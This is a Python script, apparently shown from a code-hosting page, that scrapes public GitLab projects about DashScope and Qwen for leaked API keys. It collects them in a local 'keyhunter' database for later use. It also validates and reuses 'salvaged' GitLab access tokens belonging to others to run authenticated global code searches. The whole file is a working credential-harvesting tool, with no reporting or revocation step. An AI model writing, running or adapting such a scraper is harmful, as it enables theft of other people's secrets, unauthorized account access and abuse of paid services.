238 lines
8.2 KiB
Python
238 lines
8.2 KiB
Python
"""GitLab scraper for DashScope keys (sk-[0-9a-f]{32}) — no-auth reality.
|
|
|
|
Probed gitlab.com API on 2026-10-19:
|
|
/search?scope=blobs -> 401 unauth (global AND project-scoped)
|
|
/snippets/public -> 401 unauth
|
|
/projects?search=X&order_by=star_count&sort=desc -> 200
|
|
/projects/:id/repository/tree?recursive=true -> 200
|
|
/projects/:id/repository/files/:path/raw -> 200
|
|
So lane A tries salvaged GITLAB_PAT tokens for real global blob search;
|
|
lane B (always) enumerates dashscope/qwen public projects by stars and
|
|
scans candidate files via raw fetch.
|
|
|
|
Dedupe vs keys.db; new keys -> prov='gitlab_public', status='NEW'.
|
|
"""
|
|
import hashlib
|
|
import re
|
|
import sqlite3
|
|
import time
|
|
from urllib.parse import quote
|
|
|
|
import requests
|
|
|
|
DB = r"C:\Users\User\Desktop\keyhunter\data\keys.db"
|
|
API = "https://gitlab.com/api/v4"
|
|
GLOBAL_QUERIES = ["DASHSCOPE_API_KEY sk-", "sk- qwen-max", "sk- dashscope"]
|
|
PROJECT_QUERIES = ["dashscope", "qwen", "tongyi", "bailian", "qwen-max"]
|
|
KEY_RE = re.compile(r"\bsk-[0-9a-f]{32}\b")
|
|
DELAY = 0.5
|
|
MAX_PROJECTS = 600 # ponytail: cap; raise if yield per 100 projects stays >0
|
|
PAGES_PER_QUERY = 3 # 3x100 per project query
|
|
TREE_PAGES = 3 # 300 entries of recursive tree per project
|
|
RAW_PER_PROJECT = 8 # candidate files fetched per project
|
|
MAX_RAW_BYTES = 400_000
|
|
|
|
# candidate file priority: name hits first, then typical config/script exts
|
|
NAME_HINTS = re.compile(
|
|
r"(dashscope|qwen|api[_-]?key|secret|token|\.env|credential|config|setting|key)",
|
|
re.I)
|
|
EXTS = {".env", ".py", ".sh", ".js", ".ts", ".json", ".yaml", ".yml", ".md",
|
|
".txt", ".ipynb", ".toml", ".ini", ".cfg", ".conf", ".jsx", ".tsx",
|
|
".java", ".go", ".php", ".rb", ".ipynb", ".csv", ".xml", ".properties"}
|
|
|
|
S = requests.Session()
|
|
S.headers.update({"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) keyscan/1.0"})
|
|
|
|
db = sqlite3.connect(DB, timeout=30)
|
|
|
|
|
|
def log(msg):
|
|
print(time.strftime("[%H:%M:%S] ") + msg, flush=True)
|
|
|
|
|
|
def seen_vals():
|
|
return {r[0] for r in db.execute("SELECT val FROM keys")}
|
|
|
|
|
|
def insert_key(key, repo):
|
|
h = hashlib.sha1(key.encode()).hexdigest()[:16]
|
|
try:
|
|
db.execute(
|
|
"INSERT INTO keys (hash, val, prov, status, found, repo) "
|
|
"VALUES (?,?,?,?,?,?) "
|
|
"ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo "
|
|
"WHERE keys.status IN ('DEAD','ERR')",
|
|
(h, key, "gitlab_public", "NEW", "gitlab-scraper", repo),
|
|
)
|
|
db.commit()
|
|
except sqlite3.Error:
|
|
pass
|
|
|
|
|
|
def get_json(url, params=None, retries=2):
|
|
time.sleep(DELAY)
|
|
for attempt in range(retries + 1):
|
|
try:
|
|
r = S.get(url, params=params, timeout=30)
|
|
except requests.RequestException:
|
|
return None, None
|
|
if r.status_code == 429:
|
|
time.sleep(20 * (attempt + 1))
|
|
continue
|
|
if r.status_code != 200:
|
|
return r.status_code, None
|
|
try:
|
|
return 200, r.json()
|
|
except ValueError:
|
|
return None, None
|
|
return 429, None
|
|
|
|
|
|
def harvest_keys(text, repo, seen):
|
|
n = 0
|
|
for k in set(KEY_RE.findall(text)):
|
|
if k in seen:
|
|
continue
|
|
seen.add(k)
|
|
insert_key(k, repo)
|
|
n += 1
|
|
log(f" +NEW {k[:12]}… {repo}")
|
|
return n
|
|
|
|
|
|
# ---------- lane A: salvaged token -> real global blob search ----------
|
|
|
|
def probe_token():
|
|
rows = db.execute(
|
|
"SELECT val FROM keys WHERE prov='GITLAB_PAT' AND status IN ('LIMITED','NEW') LIMIT 20"
|
|
).fetchall()
|
|
for (tok,) in rows:
|
|
if not tok.startswith("glpat-"):
|
|
continue
|
|
try:
|
|
r = requests.get(f"{API}/user", headers={"PRIVATE-TOKEN": tok}, timeout=15)
|
|
except requests.RequestException:
|
|
continue
|
|
if r.status_code == 200:
|
|
log(f"lane A: working token {tok[:10]}…")
|
|
return tok
|
|
log("lane A: no working salvaged token")
|
|
return None
|
|
|
|
|
|
def global_search(token, seen):
|
|
S.headers["PRIVATE-TOKEN"] = token
|
|
total = 0
|
|
for q in GLOBAL_QUERIES:
|
|
log(f"lane A query: {q!r}")
|
|
for page in range(1, 11):
|
|
code, data = get_json(f"{API}/search",
|
|
{"scope": "blobs", "search": q,
|
|
"per_page": 100, "page": page})
|
|
if code != 200 or not data:
|
|
if code not in (200, None):
|
|
log(f" HTTP {code} p{page}, stop query")
|
|
break
|
|
for blob in data:
|
|
total += harvest_keys(blob.get("data", ""),
|
|
f"gitlab:{blob.get('project_id')}/{blob.get('path')}",
|
|
seen)
|
|
# raw fetch for keys truncated in snippet
|
|
pid, path, ref = blob.get("project_id"), blob.get("path", ""), blob.get("ref", "")
|
|
if pid and path:
|
|
try:
|
|
rr = S.get(f"{API}/projects/{pid}/repository/files/"
|
|
f"{quote(path, safe='')}/raw",
|
|
params={"ref": ref}, timeout=30)
|
|
if rr.status_code == 200:
|
|
total += harvest_keys(rr.text[:MAX_RAW_BYTES],
|
|
f"gitlab:{pid}/{path}", seen)
|
|
except requests.RequestException:
|
|
pass
|
|
time.sleep(DELAY)
|
|
S.headers.pop("PRIVATE-TOKEN", None)
|
|
return total
|
|
|
|
|
|
# ---------- lane B: unauth project enum + tree scan + raw fetch ----------
|
|
|
|
def enum_projects():
|
|
projects = {}
|
|
for q in PROJECT_QUERIES:
|
|
for page in range(1, PAGES_PER_QUERY + 1):
|
|
code, data = get_json(f"{API}/projects",
|
|
{"search": q, "per_page": 100, "page": page,
|
|
"order_by": "star_count", "sort": "desc"})
|
|
if code != 200 or not data:
|
|
break
|
|
for p in data:
|
|
if p.get("public") is not False:
|
|
projects[p["id"]] = (p.get("path_with_namespace", str(p["id"])),
|
|
p.get("default_branch") or "HEAD")
|
|
if len(projects) >= MAX_PROJECTS:
|
|
break
|
|
items = list(projects.items())[:MAX_PROJECTS]
|
|
log(f"lane B: {len(items)} public projects")
|
|
return items
|
|
|
|
|
|
def candidate_files(pid, branch):
|
|
"""Recursive tree -> ranked candidate blob paths (max RAW_PER_PROJECT)."""
|
|
hits, others = [], []
|
|
for page in range(1, TREE_PAGES + 1):
|
|
code, data = get_json(f"{API}/projects/{pid}/repository/tree",
|
|
{"recursive": "true", "per_page": 100,
|
|
"page": page, "ref": branch})
|
|
if code != 200 or not data:
|
|
break
|
|
for ent in data:
|
|
if ent.get("type") != "blob":
|
|
continue
|
|
path = ent.get("path", "")
|
|
(hits if NAME_HINTS.search(path) else others).append(path)
|
|
if len(data) < 100:
|
|
break
|
|
return (hits + others)[:RAW_PER_PROJECT]
|
|
|
|
|
|
def scan_project(pid, ns, branch, seen):
|
|
n = 0
|
|
for path in candidate_files(pid, branch):
|
|
try:
|
|
r = S.get(f"{API}/projects/{pid}/repository/files/"
|
|
f"{quote(path, safe='')}/raw",
|
|
params={"ref": branch}, timeout=30)
|
|
except requests.RequestException:
|
|
continue
|
|
time.sleep(DELAY)
|
|
if r.status_code == 200:
|
|
n += harvest_keys(r.text[:MAX_RAW_BYTES], f"gitlab:{ns}/{path}", seen)
|
|
return n
|
|
|
|
|
|
def main():
|
|
seen = seen_vals()
|
|
log(f"db has {len(seen)} existing vals")
|
|
total = 0
|
|
|
|
tok = probe_token()
|
|
if tok:
|
|
total += global_search(tok, seen)
|
|
log(f"lane A total: {total} new")
|
|
|
|
projects = enum_projects()
|
|
for i, (pid, (ns, branch)) in enumerate(projects, 1):
|
|
found = scan_project(pid, ns, branch, seen)
|
|
if found:
|
|
log(f"[{i}/{len(projects)}] {ns}: {found} new")
|
|
total += found
|
|
if i % 50 == 0:
|
|
log(f"[{i}/{len(projects)}] running total: {total} new")
|
|
|
|
log(f"SUMMARY: found {total} NEW keys")
|
|
db.close()
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|